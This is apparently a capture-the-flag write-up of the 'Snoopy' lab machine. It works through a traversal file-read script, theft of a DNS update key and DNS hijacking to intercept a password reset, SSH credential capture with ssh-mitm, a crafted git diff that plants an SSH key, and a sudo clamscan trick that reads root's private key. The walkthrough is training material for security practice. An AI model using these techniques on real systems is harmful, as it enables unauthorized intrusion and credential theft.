We begin with a port scan:
└─ nmap -sC -sV 10.129.189.160
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 21:50 EDT
Nmap scan report for 10.129.189.160
Host is up (0.040s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ee6bcec5b6e3fa1b97c03d5fe3f1a16e (ECDSA)
|_ 256 545941e1719a1a879c1e995059bfe5ba (ED25519)
53/tcp open domain ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.31 seconds
We see on this first page that SnoopySec provides some kind of DevSecOps service and we can download their release package and a recent announcement.
Downloading the recent announcement shows us this link: snoopy.htb/download?file=announcement.pdf
So, we can add snoopy.htb
to our hosts file and see if we can get any LFI to work.
So, it looks like it works but we are seeing it get encoded as a zip file. We can download these files manually from the site and unzip them, but it might be easier to make a python script that does this for us.
import sys
import os
import requests
from zipfile import ZipFile
def main():
if len(sys.argv) < 2:
print("Usage: python lfi.py <filename>")
sys.exit(1)
filename = sys.argv[1]
url = f"http://snoopy.htb/download?file=....//....//....//....//....//..../{filename}"
output_zip = os.path.join(os.getcwd(), "out.zip")
# Download the file
response = requests.get(url)
if response.status_code == 404:
print(f"not found file: {filename}")
sys.exit(1)
with open(output_zip, "wb") as f:
f.write(response.content)
# Check if the file size is 0
if os.path.getsize(output_zip) == 0:
print(f"not found file: {filename}")
sys.exit(1)
# Extract the contents of the zip file
with ZipFile(output_zip, "r") as zip_ref:
zip_ref.extractall(os.getcwd())
# Print the content of the press_package file
press_package_file = f"press_package{filename}"
with open(press_package_file, "r") as f:
print(f.read())
if __name__ == "__main__":
main()
We can get the passwd
file to see some potential users:
└─$ python3 lfi.py /etc/passwd
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
---SNIP---
cbrown❌1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown❌1001:1001:Sally Brown:/home/sbrown:/bin/bash
clamav❌1002:1003::/home/clamav:/usr/sbin/nologin
---SNIP---
So we’ve got a few users to keep our eyes peeled for as we continue enumerating.
I don’t really know where I might look yet so I decide to go back to the page and search for more details that might be worth investigating.
When looking in the contact section of the page we see that there is some migration going on with the target’s mail server. I wanted to try subdomain enumeration at this point to see if we can figure out what their new mail server is.
└─$ ffuf -w ~/../../usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://snoopy.htb/ -H "Host:FUZZ.snoopy.htb" --fl 481
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://snoopy.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.snoopy.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response lines: 481
________________________________________________
[Status: 200, Size: 3132, Words: 141, Lines: 1, Duration: 43ms]
* FUZZ: mm
:: Progress: [19966/19966] :: Job [1/1] :: 980 req/sec :: Duration: [0:00:22] :: Errors: 0 ::
We see one subdomain is found called mm.snoopy.htb
so I add it to my hosts file and keep looking around.
At this point I initially got stuck and figured that I would have to look for more places to look. This is where I was given a hint from someone where I was only told to look for named.conf
.
At this point I thought: What is named.conf
?
Well, it is found in the /etc/bind
directory and the named.conf
file is the config file for the BIND nameserver. BIND is one of the most widely used DNS server implementations.
This immediately starts ringing bells with the port scan results from earlier showing port 53 open and running a BIND server. Not only that, but the website is screaming for us to look at the config file by mentioning that they are migrating their DNS records to their new domain.
Knowing why we might look at this file, let’s examine it at the /etc/bind/named.conf
location.
└─$ python3 lfi.py /etc/bind/named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
key "rndc-key" {
algorithm hmac-sha256;
secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
So, some of the wheels are starting to turn, but I still don’t really know where to go with this yet.
After looking at the subdomain we discovered, we see it is a domain for mattermost
, which is a messaging application for businesses.
We can try to run a forgot password for sbrown
, of the interesting users that we saw earlier in the passwd
file and on the team section of the first page:
Knowing her email address, let’s try to reset the password for their Mattermost account:
Now, we know this isn’t because they don’t have an account because when we use a fake email we get this message:
This is evidence that the mail server that the target is migrating, mail.snoopy.htb
, is the same one that hosts the mail accounts used by the client.
I had to do a bunch of brushing up on how DNS works and how we might be able to use these circumstances to our advantage.
First, let’s briefly go over how the DNS works:
- A user may request to view a website by its URL, where the browser will ask the DNS resolver. It will ask the DNS provided by the ISP (Internet Service Provider) first.
- If the resolver finds the IP address associated with the domain name, it will send it back to the browser. Otherwise, the resolver will check the cache for the right address.
- If the cache doesn’t have the address, the resolver will send a query to the root DNS server, which will respond with a referral to the appropriate TLD, or Top-Level-Domain.
- The TLD server will provide a referral to the authoritative DNS server for the given domain.
- With this referral, our resolver will send a query to the authoritative DNS server which will return with the IP address associated with the domain name.
Now, in our circumstance we have the secret key in the DNS configuration that we got with LFI.
We might be able to use that secret to modify the DNS configuration on the computer that is hosting the website, which could give us the ability to host our own mail server that can receive the password reset email which is mistakenly being sent to the old mail server mail.snoopy.htb
.
The next question to ask is how we would actually do this. This is where we need to talk about DNS records. In short, the record that the DNS resolver is looking for is called an “A record” and this record is what maps the IP address to a domain name.
For example, a given DNS A record might look like this:
example.com. 3600 IN A 192.0.2.1
This A record maps the domain example.com to the IP address 192.0.2.1
, with a TTL of 3600 seconds (1 hour).
Putting all this together, we should be able to use that secret from earlier to update the DNS server with our malicious A record. Then when we try to reset the password for the sbrown
user, it will sent the password reset link to our mail server and we can use that to change the password for the user.
First, let’s start up an SMTP (Simple Mail Transfer Protocol) server on our machine:
└─$ sudo python -m smtpd -n -c DebuggingServer 10.10.14.162:25
[sudo] password for kali:
---SNIP---
We need to use -n
to specify that we aren’t requiring authentication. We specify -c DebuggingServer
because that server class prints all the output when it receives messaged. The standard port for SMTP is port 25, so we set that explicitly.
Then, we need to push that record to the target DNS server:
└─$ nsupdate -d -y hmac-sha256:rndc-key:BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=
Creating key...
namefromtext
keycreate
> server snoopy.htb
> update add mail.snoopy.htb. 900 IN A 10.10.14.162
> send
Reply from SOA query:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 56985
;; flags: qr aa; QUESTION: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; QUESTION SECTION:
;mail.snoopy.htb. IN SOA
;; AUTHORITY SECTION:
snoopy.htb. 0 IN SOA ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
---SNIP---
Then you can try to request the password for sbrown
and you’ll get the email for the password reset:
---SNIP---
b''
b'Reset Password ( http://mm.snoopy.htb/reset_password_complete?token=3Dbgwat='
b'63fa3iujt3yc4zx8ug9bwro6u58f583pwocrkqe5s31msphcb7jntds57e3 )'
b''
b'The password reset link expires in 24 hours.'
b''
---SNIP---
After trying and failing a few times, you’ll find out that you need to get rid of the 3D
at the beginning of the request for the reset to work:
Now that we reset it we can log in:
Looking around the site, we see that we are able to use some commands:
One of these commands is called server_provision
which appears to be used to send a request to IT when we want to provision a new server. I want to try and see what happens if we listen on the specified port and try to provision our own IP address:
On our listener, we see this:
└─$ nc -lvp 2222
listening on [any] 2222 ...
connect to [10.10.14.162] from snoopy.htb [10.129.189.160] 54580
SSH-2.0-paramiko_3.1.0
So, it is trying to initiate an SSH connection, but nc
isn’t able to simulate that connection. We also get a direct message from cbrown
where they say that they will handle it (our server provision) later on.
We can install a tool called ssh-mitm
that should allow us to gather more details about the incoming connection attempt.
We can install it like this:
└─$ python3 -m pip install ssh-mitm
Then, we can set up the module like this:
└─$ python3 -m sshmitm server --enable-trivial-auth --remote-host 10.129.189.160 --listen-port 2222
Once we try to provision our server again, we see the following:
───────────────────────── SSH-MITM - ssh audits made simple ─────────────────────────
Version: 3.0.2
License: GNU General Public License v3.0
Documentation: https://docs.ssh-mitm.at
Issues: https://github.com/ssh-mitm/ssh-mitm/issues
─────────────────────────────────────────────────────────────────────────────────────
generated temporary RSAKey key with 2048 bit length and fingerprints:
MD5:08:44:c9:1e:be:5a:ae:4e:b2:bc:c7:5c:a4:7e:2a:1a
SHA256:Ff1Y3x6XkiEdyrUJk2+MbnahB0CY9YvUCdjEYaYI0nw
SHA512:xH5tLGOzfTUE4NlT33KNQqBvQ794flIEiXdQgVVGdPiuc/BAgitjXvLCQTxkDnUSMYsLqcxnHl+bIE79Pq9TIA
listen interfaces 0.0.0.0 and :: on port 2222
────────────────────────────── waiting for connections ──────────────────────────────
[05/10/23 01:21:06] INFO ℹ session
dc2fc1c2-4f9e-4c2e-9fb8-42936a980fb2
created
INFO ℹ client information:
- client version: ssh-2.0-paramiko_3.1.0
- product name: Paramiko
- vendor url: https://www.paramiko.org/
⚠ client audit tests:
* client uses same server_host_key_algorithms list
for unknown and known hosts
* Preferred server host key algorithm: ssh-ed25519
INFO Remote authentication succeeded
Remote Address: 10.129.189.160:22
Username: cbrown
Password: sn00pedcr3dential!!!
Agent: no agent
INFO ℹ dc2fc1c2-4f9e-4c2e-9fb8-42936a980fb2 -
local port forwading
SOCKS port: 43417
SOCKS4:
* socat: socat
TCP-LISTEN:LISTEN_PORT,fork
socks4:127.0.0.1:DESTINATION_ADDR:DESTINATION_PORT,socks
ort=43417
* netcat: nc -X 4 -x localhost:43417
address port
SOCKS5:
* netcat: nc -X 5 -x localhost:43417
address port
[05/10/23 01:21:07] INFO got ssh command: ls -la
INFO ℹ dc2fc1c2-4f9e-4c2e-9fb8-42936a980fb2 -
session started
[05/10/23 01:21:08] INFO got remote command: ls -la
INFO remote command 'ls -la' exited with code: 0
ERROR Socket exception: Connection reset by peer (104)
INFO ℹ session
dc2fc1c2-4f9e-4c2e-9fb8-42936a980fb2
closed
This gives us a password for the cbrown
user. Let’s try to use it to log in to SSH:
└─$ ssh cbrown@snoopy.htb
cbrown@snoopy.htb's password:
cbrown@snoopy:~$
Nice, we have a foothold but we don’t have our user flag yet. Let’s see what cbrown
can do with sudo
:
cbrown@snoopy:~$ sudo -l
[sudo] password for cbrown:
Matching Defaults entries for cbrown on snoopy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User cbrown may run the following commands on snoopy:
(sbrown) PASSWD: /usr/bin/git apply *
So, we can apply patches with git with sbrown
’s level of privilege. This should allow us to change files, so long as we manipulate the diff
file we use to apply the patch.
We can make an SSH key and make a diff
file that shows its creation, then we can edit the path that is changed and add in the SSH key that we generate:
First, we generate a key:
cbrown@snoopy:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/cbrown/.ssh/id_rsa): id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:8I62ZUrK8MFTv0uGSoEuevWLcpyT86nyVuYgUJ6c1dU cbrown@snoopy.htb
The key's randomart image is:
+---[RSA 3072]----+
| . ... |
| . . . E |
| + + . |
|. =. o |
| .. . . S |
| ...ooo= |
|. o+=O= B |
|..+=OOoO . |
|.. *O=*.o. |
+----[SHA256]-----+
cbrown@snoopy:~$ cat id_rsa.pub
ssh-rsa AAAAB3
---SNIP---
8pVs= cbrown@snoopy.htb
Next, we can make the diff
file and move it to the /tmp
directory.
cbrown@snoopy:~$ cd ../
cbrown@snoopy:/home$ git diff cbrown/.bash_history cbrown/.ssh/authorized_keys > /tmp/diff
cbrown@snoopy:/home$ cat /tmp/diff
diff --git a/cbrown/.bash_history b/cbrown/.bash_history
deleted file mode 120000
index dc1dc0c..0000000
--- a/cbrown/.bash_history
+++ /dev/null
@@ -1 +0,0 @@
-/dev/null
\ No newline at end of file
diff --git a/cbrown/.ssh/authorized_keys b/cbrown/.ssh/authorized_keys
new file mode 100644
index 0000000..e69de29
Now, we want to change this file to make it seem like we changed sbrown
’s SSH key and add the file that we generated:
cbrown@snoopy:/home$ vim /tmp/diff
cbrown@snoopy:/home$ cat /tmp/diff
diff --git a/sbrown/.bash_history b/sbrown/.bash_history
deleted file mode 120000
index dc1dc0c..0000000
--- a/sbrown/.bash_history
+++ /dev/null
@@ -1 +0,0 @@
-/dev/null
\ No newline at end of file
diff --git a/sbrown/.ssh/authorized_keys b/sbrown/.ssh/authorized_keys
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/sbrown/.ssh/authorized_keys
@@ -0,0 +1 @@
+ssh-rsa AAAAB3-----8pVs= cbrown@snoopy.htb
Finally, we can apply the change with sudo
as sbrown
and then we should be able to use our private key to log in.
cbrown@snoopy:/home$ sudo -u sbrown /usr/bin/git apply /tmp/diff
cbrown@snoopy:/home$ cd
cbrown@snoopy:~$ ssh -i id_rsa sbrown@snoopy.htb
sbrown@snoopy:~$
Sweet, we got our user flag. Now let’s try to escalate our privileges to root.
sbrown@snoopy:~$ sudo -l
Matching Defaults entries for sbrown on snoopy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User sbrown may run the following commands on snoopy:
(root) NOPASSWD: /usr/local/bin/clamscan
We can run a program called clamscan
, which is a malware analysis tool. The manual for clamscan
lets us use -f
to specify a file to scan. Let’s try it out on the user flag and see what we get:
sbrown@snoopy:~$ sudo /usr/local/bin/clamscan -f user.txt
LibClamAV Warning: **************************************************
LibClamAV Warning: *** The virus database is older than 7 days! ***
LibClamAV Warning: *** Please update it as soon as possible. ***
LibClamAV Warning: **************************************************
Loading: 21s, ETA: 0s [========================>] 8.66M/8.66M sigs
Compiling: 5s, ETA: 0s [========================>] 41/41 tasks
6c989a24ce48a4295f2e52c24d396a66: No such file or directory
WARNING: 6c989a24ce48a4295f2e52c24d396a66: Can't access file
----------- SCAN SUMMARY -----------
Known viruses: 8659055
Engine version: 1.0.0
Scanned directories: 0
Scanned files: 0
Infected files: 0
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 28.887 sec (0 m 28 s)
Start Date: 2023:05:10 05:57:20
End Date: 2023:05:10 05:57:49
sbrown@snoopy:~$
It looks like that is all we need to read files as root. We can do the same thing for the root flag. Or if you want a shell you can download root’s private key:
sbrown@snoopy:~$ sudo /usr/local/bin/clamscan -f /root/.ssh/id_rsa
Once you’ve gotten to this point, that’s all you need to log in as root.